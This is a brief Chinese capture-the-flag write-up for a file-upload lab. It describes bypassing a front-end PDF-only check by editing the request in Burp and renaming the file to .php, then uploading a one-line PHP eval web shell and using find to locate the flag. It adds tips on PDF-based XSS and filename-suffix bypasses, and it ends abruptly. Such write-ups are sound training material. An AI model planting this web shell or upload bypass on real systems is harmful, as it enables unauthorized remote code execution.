【好靶场】你能找到上传路径吗？

这里给的很直接，大概就是前端做了pdf校验，然后后端没有做校验

那么我们可以通过burp抓包改包

burp抓包改包绕过前端上传后缀限制

我们先写一个shell.pdf文件

<?php @eval($_POST['cmd']); ?>

然后抓包再将后缀改为php即可

在工单的页面，我们查看源代码，可以看到题目给的提示

尝试拼接即可得到目录地址

访问下我们的webshell

可以正常连接

通过find命令定位flag位置

这里在根目录没有找到flag，可以用下面的命令查找flag

find / -name *flag*

发现/tmp下面有一个flag.txt

找到flag

地图大师的补充

可以上传pdf的地方，可以通过pdf进行XSS

除了将后缀改为pdf，也可以尝试文件名带有相应的后缀进行绕过

地图大师使用下面的这种方式进行绕过